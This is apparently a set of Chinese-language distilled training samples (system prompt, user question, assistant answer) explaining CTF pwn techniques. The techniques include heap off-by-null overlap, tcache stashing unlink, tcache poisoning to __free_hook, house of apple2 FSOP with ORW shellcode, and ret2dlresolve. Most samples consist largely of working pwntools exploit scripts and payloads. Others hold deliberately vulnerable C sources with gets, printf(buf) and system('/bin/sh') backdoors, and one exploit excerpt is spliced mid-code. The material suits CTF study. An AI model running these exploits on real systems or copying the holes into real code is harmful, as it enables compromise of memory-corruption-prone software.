2. 将寄存器 edx 的值装载到 eip 寄存器
3. 将 SYSENTER_CS_MSR 的值加 24（Ring3 的堆栈段描述符）装载到 ss 寄存器
4. 将寄存器 ecx 的值装载到 esp 寄存器
5. 将特权级切换到 Ring3
6. 继续执行 Ring3 的代码

+ 由此可知，在调用 SYSENTER 进入 Ring0 之前，一定需要通过 wrmsr 指令设置好 Ring0 代码的相关信息，在调用 SYSEXIT 之前，还要保证寄存器edx、ecx 的正确性。

**利用思路**

1. 泄露出 VDSO
2. 利用 VDSO 进行 ROP
3. 在`32`位系统中，`vsyscall`其参数传递方式和`int 0x80`是一样的，但是需要先做好栈帧，`push ebp ; mov ebp, esp`，以及需要找到一个好的`Gadget`来做`Stack Pivot`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「限制条件」。
资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 限制条件
- **Edit次数**：仅3次，每次最多写0x18字节。
- **Add类型**：
  - `fox`: `malloc(0x430)` → chunk size = `0x441`（含标志位）
  - `hawk`: `malloc(0x440)` → chunk size = `0x451`
  - `otter`: `calloc(0x48)` → chunk size = `0x51`（且calloc会跳过tcache，直接走smallbin）
- **Show**：仅一次，泄露 `chunk->tag`（即 `chunk + 0x8` 处的内容）。
- **Delete**：存在UAF（只free，不置零指针）。
- **Purge**：只置零指针，不free。
- 最多同时持有5个堆块指针。

IO-FILE/house of storm/2026ccb catchme/wp.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/blind/blind_fmt.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/blind/blind_fmt.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <string.h>`

函数/封装：
- `backdoor`
- `init`
- `main`

利用主题关键词：
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init(){
	    setvbuf(stdin,0,2,0);
	    setvbuf(stdin,0,2,0);
	    setvbuf(stdout,0,2,0);
}

void backdoor(){
		  system("/bin/sh");
}

int main()
{
	    char buf[0x100];
	    memset(buf,0,0x100);
	    while(1)
	    {
		    printf("blind fmt\n");
		    read(0,buf,0x50);
		    printf(buf);
	    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「off-by-null转heap overlapping」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### off-by-null转heap overlapping

off by null 比 off by one 条件要弱一些，所以这里只介绍 off by null 制造堆块重叠的方法。

如果是在输入的内容后面一个字节写 0 ，即可以控制下一个 chunk 的 prev_size 和 size 最低 1 字节写 0 那么可以采用下面的方法制造堆块重叠。

如下图所示，释放 chunk1 然后修改 chunk3 的 prev_size 和 PREV_INUSE 位（顺序不能错，否则 chunk1 会与 chunk2 合并出错），之后释放 chunk3 与 chunk1 合并，从而造成堆块重叠。

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x200)
add_chunk(1, 0x18)
add_chunk(2, 0x1f0)
add_chunk(3, 0x10)

delete_chunk(0)
edit_chunk(1, 'a' * 0x10 + p64(0x230) + p8(0))
delete_chunk(2)
add_chunk(0, 0x428)
delete_chunk(1)
p.interactive()
```

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x18)
add_chunk(1, 0x408)
add_chunk(2, 0x2f0)
add_chunk(10, 0x20)

delete_chunk(1)
edit_chunk(0, 'a' * 0x18 + p8(0))
add_chunk(4, 0x1f0)
add_chunk(5, 0x10)
add_chunk(6, 0x1f0 - 0x40)
add_chunk(7, 0x10)
delete_chunk(4)
delete_chunk(2)
delete_chunk(6)
gdb.attach(p)
p.interactive()
```

自 glibc-2.29 起加入了 prev_size 的检查，以上方法均已失效。不过要是能够泄露堆地址可以利用 unlink 或 house of einherjar 的思想伪造 fd 和 bk 实现堆块重叠。

```c
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `Heap/tcache attack/Hitcon-CTF2019-one_punch_man` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`Heap/tcache attack/Hitcon-CTF2019-one_punch_man`

## Writeup 蒸馏
# 201 Hitcon-CTF one_punch_man

漏洞类型： `UAF` `Double Free`

利用方式： `Tcache Stashing Unlink Attack`

flag： `[FLAG_REDACTED]`

## Writeup

### 基本信息

开启了常见保护，题目环境为 glibc 2.29 ，使用 seccomp 开启了沙箱保护，只有白名单上的系统调用可以使用。

```bash
╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master›
╰─$ checksec ./one_punch
[*] '/home/wz/Desktop/CTF/xz_files/hitcon2019_one_punch_man/one_punch'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
╭─wz@wz-virtual-machine ~/Desktop/CTF/xz_files/hitcon2019_one_punch_man ‹master*›
╰─$ seccomp-tools dump ./one_punch
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

```

### 基本功能

Add 函数可以分配 `[0x80,0x400]` 大小的堆块，分配的函数为 `calloc` ，输入数据首先存储到栈上，之后再使用 `strncpy` 拷贝到 `bss` 上的数组里。

Delete 函数 `free` 堆块之后未清空，造成 `double free` 和 `UAF`

```c
void __fastcall Delete(__int64 a1, __int64 a2)
{
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  MyPuts("idx: ");
  v2 = read_int();
  if ( v2 > 2 )
    error("invalid", a2);
  free(*((void **)&unk_4040 + 2 * v2));
}
```
后门函数可以调用 `malloc` 分配 `0x217` 大小的堆块，但是要要满足 `*(_BYTE *)(qword_4030 + 0x20) > 6` ，我们在 `main` 函数里可以看到这里被初始化为 `heap_base+0x10` ，对于 glibc 2.29，这个位置对应存储的是 `tcache_perthread_struct` 的 `0x220` 大小的 `tcache_bin` 的数量，正常来说，如果我们想调用后门的功能，要让这个 `count` 为 7 ，然而这也就意味着 `0x217` 再分配和释放都同 `glibc 2.23` 一样，我们无法通过 `UAF` 改 chunk 的 `fd` 来达到任意地址写的目的，因此我们要通过别的方式修改这个值。
```c
__int64 __fastcall Magic(__int64 a1, __int64 a2)
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(_BYTE *)(qword_4030 + 0x20) <= 6 )
    error("gg", a2);
  buf = malloc(0x217uLL);
  if ( !buf )
    error("err", a2);
  if ( read(0, buf, 0x217uLL) <= 0 )
    error("io", buf);
  puts("Serious Punch!!!");
  puts(&unk_2128);
  return puts(buf);
}
```
Edit 和 Show 函数分别可以对堆块内容进行编辑和输出。

### 利用思路

由于 glibc 2.29 中新增了对于 `unsorted bin` 链表完整性检查，这使得 `unsorted bin attack` 完全失效，我们的目标是往一个地址中写入 `large value` ，这种情况下就可以选择 `tcache stashing unlink attack`。

首先我们可以通过UAF来泄露 `heap` 和 `libc` 地址。具体方式是分配并释放多个chunk使其进入 `tcache` ，通过 `Show` 函数可以输出 `tcache bin` 的 `fd` 值来泄露堆地址。释放某个 `small bin size` 范围内的chunk七个，在第八次释放时会先把释放的堆块放入 `unsorted bin` 。通过 `Show` 函数可以泄露出 libc 地址。

我们首先通过 `UAF` 将 `__malloc_hook` 链入 `tcache` 备用。然后分配并释放六次 `0x100` 大小的chunk进入 `tcache` 。通过 `unsorted bin` 切割得到 `last remainer` 的方式得到两个大小为 `0x100` 的chunk。再分配一个超过 0x100 的块使其进入 `small bin` 。按照释放顺序我们称之为 bin1 和 bin2 。修改 `bin2->bk` 为 `(heap_base+0x2f)-0x10` ，调用 `calloc(0xf0)` 触发 `small bin` 放入 `tcache` 的处理逻辑，由于 `tcache` 中有 6 个块，因此循环处理只会进行一次，这样也避免了 fake_chunk 因 bk 处无可写地址作为下一个块进行 unlink 时 `bck->fd=bin` 带来的内存访问错误。最终改掉 `heap_base+0x30` 的值绕过检查。

### 利用步骤

下面在调用 calloc 前下断点，可以看到此时 `tcache[0x100]` 有 6 个堆块，small bin 的分配顺序为 `0x000055555555c460->0x55555555cc80->0x000055555555901f` ，在 `calloc(0xf0)` 调用后， `0x000055555555c460` 会被返回给用户， `0x55555555cc80` 被链入tcache，而由于没有多余位置，跳出循环， `0x000055555555901f` 不做处理。

## Exploit 关键代码
### Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py
```python
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./one_punch')

def Add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def Edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def Show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)

def exp():
    #leak heap
    for i in range(7):
        Add(0,'a'*0x120)
        Delete(0)
    Show(0)
    p.recvuntil("hero name: ")
    heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
    log.success("[+]heap base => "+ hex(heap_base))
    #leak libc
    Add(0,'a'*0x120)
    Add(1,'a'*0x400)
    Delete(0)

# ... 中间内容省略，保留关键利用片段 ...

    Show(0)
        Delete(0)
        Delete(0)
    Delete(0)#UAF
    Delete(1)#UAF
    Edit(2,'./flag'.ljust(8,'\x00'))
    Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))
    Delete(0)
    Edit(0,p64(libc_base+libc.sym['__malloc_hook']))
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 复用 chunk1 并伪造 chunk2 header」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 2. 复用 chunk1 并伪造 chunk2 header

重新申请 index 1 的 `0x68` chunk，会从 tcache[0x70] 取回原 chunk1：

```python
add(1, 0x68)
edit(1, b"a" * 0x60 + p64(0x170))
```

`edit(1)` 的内容作用如下：

```text
chunk1 user data: 0x68 bytes
偏移 0x60: 覆盖 chunk2.prev_size = 0x170
偏移 0x68: off-by-null 写入 chunk2.size 低字节，清掉 PREV_INUSE
```

原本 chunk2 size 为 `0x101`，低字节被置 0 后变成 `0x100`，同时 `PREV_INUSE=0`。接下来释放 chunk2：

```python
delete(2)
```

glibc 会认为 chunk2 前方存在一个大小为 `0x170` 的 free chunk，于是向后合并 `chunk0 + chunk1 + chunk2`，得到一个覆盖原区域的大 unsorted chunk。由于 0x100 tcache 已满，这个合并后的大 chunk 会进入 unsorted bin。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3. edit(-6) 可以覆盖 stdout FILE 结构」。
资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 3. edit(-6) 可以覆盖 stdout FILE 结构

`edit` 还有一个限制：全局变量 `qword_41E0` 初始为 1，因此只能使用一次。

```c
if (book[idx].ptr && qword_41E0 > 0) {
    --qword_41E0;
    read(0, book[idx].ptr, 0x400);
}
```

但这一次已经足够。因为：

```text
book                 = 0x40a0
book[-6].ptr slot    = 0x40a0 - 6 * 0x10
                    = 0x4040
                    = stdout copy relocation
```

`0x4040` 处保存的是 `_IO_2_1_stdout_` 指针，因此：

```python
edit(-6, payload)
```

等价于：

```c
read(0, _IO_2_1_stdout_, 0x400);
```

也就是可以一次性把 libc 里的 `stdout` FILE 结构覆盖成伪造结构。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「利用原理」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 利用原理

仔细回顾一下内核在 signal 信号处理的过程中的工作，我们可以发现，内核主要做的工作就是为进程保存上下文，并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是：

+ Signal Frame 被保存在用户的地址空间中，所以用户是可以读写的。
+ 由于内核与信号处理程序无关，它并不会去记录这个 signal 对应的 Signal Frame，所以当执行 sigreturn 系统调用时，此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. 填满 0x100 tcache 并布置相邻 chunk」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 1. 填满 0x100 tcache 并布置相邻 chunk

先申请：

```python
add(0, 0xF8)
add(1, 0x68)
add(2, 0xF8)
for i in range(3, 10):
    add(i, 0xF8)
add(12, 0x68)
```

堆布局近似为：

```text
chunk0: request 0xf8 -> chunk size 0x100
chunk1: request 0x68 -> chunk size 0x70   # 漏洞 chunk
chunk2: request 0xf8 -> chunk size 0x100  # 被清 PREV_INUSE 的目标 chunk
chunk3~9: 0x100 chunks                    # 用来填满 tcache[0x100]
chunk12: 0x70 guard                       # 防止 top 合并
```

释放 `chunk3~9` 后，`tcache[0x100]` 被填满。再释放 `chunk0` 和 `chunk1`：

```python
for i in range(3, 10):
    delete(i)
delete(0)
delete(1)
```

这里要保证 `chunk0` 是 free chunk，这样 `chunk1` 重新分配后，`chunk2.prev_size` 能被伪造成 `0x170`，并满足 unlink / consolidate 的一致性检查。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `IO-FILE/house of apple2/2024ylb futureheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`IO-FILE/house of apple2/2024ylb futureheap/exp.py`

分类：io_file

语言：python

环境/依赖线索：
- `from pwn import *`
- `from ctypes import *`

函数/封装：
- `build`
- `dbg`
- `drop`
- `fix`

利用主题关键词：
- heap/tcache
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x200`, `0x4a0`, `0x510`, `0x520`, `0x530`, `0x600`, `0x1417`, `0x14F5`, `0x1EFC`, `0x61616161`

训练用代码片段：
```python
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1417)')
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("pwn")
libc=elf.libc

#b *$rebase(0x14F5)
def dbg():
    gdb.attach(p,'b *$rebase(0x1EFC)')
    pause()

def build(idx,size):
    p.sendline(str(1))
    p.sendline(str(idx))
    p.sendline(str(size))

def fix(idx,cont):
    p.sendline(str(2))
    p.sendline(str(idx))
    sleep(0.1)
    p.send(cont)
    sleep(0.1)

def drop(idx):
    p.sendline(str(3))
    p.sendline(str(idx))

#YLCTF{94aab93f-15dd-4ca4-a5f5-fb9079f3de71}
# dbg()
p.sendlineafter("Tell me your name, my dear: ", b'a'*16)
LIBC = CDLL('/home/zp9080/PWN/libc.so.6')
seed = 0x61616161
LIBC.srand(seed)
wolf=LIBC.rand()
sword=LIBC.rand()
tmp0=LIBC.rand()
tmp1=LIBC.rand()
p.recvuntil('Lion is ')
#泄露libcbase
libcbase=(int(eval(p.recvline()))^tmp0^wolf) -libc.sym['setvbuf']
print(hex(libcbase))
#泄露mmap地址
p.recvuntil('Snake is ')
fortune=int(eval(p.recvline()))^tmp1^sword
print(hex(fortune))

build(0,0x520) #0
build(4,0x600)
build(1,0x510) #1
build(5,0x600)

drop(0)
#让0进入largebin
build(2,0x530)

#1在unsorted bin中
drop(1)
#size(0)>size(1)
target=libcbase+libc.sym['_IO_list_all']
fix(0,p64(0)*3+p64(target-0x20))

#触发largebin attack
build(3,0x530)

# dbg()
# fake_IO_addr =
system_addr=libcbase+libc.sym['system']

payload = p64(0)*2+ p64(1) + p64(2) #这样设置满足fsop
payload = payload.ljust(0x78, b'\x00') + p64(fortune+0x4a0) #FAKE FILE+0x88
payload = payload.ljust(0x90, b'\x00') + p64(fortune+0x200) #_wide_data
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
fix(1,payload)

wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(fortune)
wide_data=wide_data.ljust(0xe0,b'\x00')
wide_data+=p64(fortune+0x200)

p.sendline(str(4))
orw_shellcode= shellcraft.openat(0,'/flag\x00')
orw_shellcode += shellcraft.sendfile(1,3,0,0x100)
enc=b'74r0t#C@rd'
p.sendline(enc)
payload=asm(orw_shellcode).ljust(0x200,b'\x90')+wide_data
p.send(payload)
sleep(0.1)

# dbg()
p.sendline(str(2))

p.interactive()
```

IO-FILE/house of apple2/2024ylb futureheap/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2text/ret2text_x86/ret2text.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2text/ret2text_x86/ret2text.c`

分类：stack

语言：c

环境/依赖线索：
- `#include<stdio.h>`
- `#include<stdlib.h>`
- `#include<unistd.h>`

函数/封装：
- `fun`
- `init`
- `main`

利用主题关键词：
- stack/rop

训练用代码片段：
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init(){

	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	setvbuf(stderr,0,2,0);
}

int fun(){

		system("/bin/sh");
}

int main()
{
	int buf[10]={0};
	puts("input:");
	gets(buf);

	return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. IDA MCP 复核的模块接口」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 1. IDA MCP 复核的模块接口

`d3kheap2pro_ioctl` 只从用户态复制 8 字节 `idx`，命令分支为：

| command | meaning | status |
|---:|---|---|
| `0x3361626e` | alloc | alloc from private `d3kheap2pro_cache` |
| `0x74747261` | free | decrements refcnt and frees dangling ptr |
| `0x4e575046` | stub | no useful read/write |
| `0x54433344` | stub | no useful read/write |

`init_module` creates:

```c
proc_create("d3kheap2pro", 0666, NULL, &d3kheap2pro_ops);
kmem_cache_create("d3kheap2pro_cache", 2048, ..., 8448, ...);
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/2015-xdctf-pwn200/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

函数/封装：
- `payload`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x8048508`, `0x804851a`, `0x804851b`, `0x804a000`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

def payload():
    global sh

    bssHigh = 0x804a000
    readAddr = 0x8048508
    leaveRetAddr = 0x804851a
    retAddr = 0x804851b

    rop = ROP(elf)
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh"])
    rop.read(0, dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()

    sl(b'0'*112 + p32(retAddr) + raw_rop)
    sl(dlresolve.payload)
    ia()

payload()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「4. 利用 overlap 做 tcache poisoning」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 4. 利用 overlap 做 tcache poisoning

经过前面的切割和重叠，此时 index 1 和后续重新申请出的某个 0x70 chunk 存在重叠关系。申请 index 3 后释放，再通过 index 1 改写它的 tcache `fd`：

```python
add(3, 0x68)
delete(3)
edit(1, p64(free_hook))
```

然后连续申请两次 `0x68`：

```python
add(9, 0x68)
edit(9, b"/bin/sh\x00")
add(10, 0x68)
edit(10, p64(system))
```

第一次申请拿回被释放的普通 chunk，第二次申请返回被污染后的 `__free_hook`。向 index 10 写入 `system` 后，释放保存 `/bin/sh` 的 index 9：

```python
delete(9)
```

执行效果等价于：

```c
free("/bin/sh");   // __free_hook("/bin/sh") -> system("/bin/sh")
```

最终 getshell。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「漏洞点」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 漏洞点

主要漏洞是 **free 后指针未清空导致 UAF**：

1. `show(freed_idx)` 可以读 freed chunk 中的 tcache / unsorted bin 元数据。
2. `edit(freed_idx)` 可以改 freed chunk 的 tcache `fd` 指针。
3. 配合 glibc 2.34 的 Safe-Linking，只要泄漏 heap base，就可以正确伪造 tcache `fd`。

程序的 idx 检查也不严谨：`delete/show/edit` 允许 `idx <= 0x14`，但 add 只使用 0~19；这里可能存在 index 20 的边界问题。不过当前 exp 没有用这个点，完整利用链只依赖 UAF。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/largetbin attack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/largetbin attack/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add_chunk`
- `dbg`
- `delete_chunk`
- `edit_chunk`
- `show_chunk`

利用主题关键词：
- io-file/fsop

关键常量/偏移样例：
`0x200`, `0x300`, `0x418`, `0x428`, `0x500`, `0x233d61`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
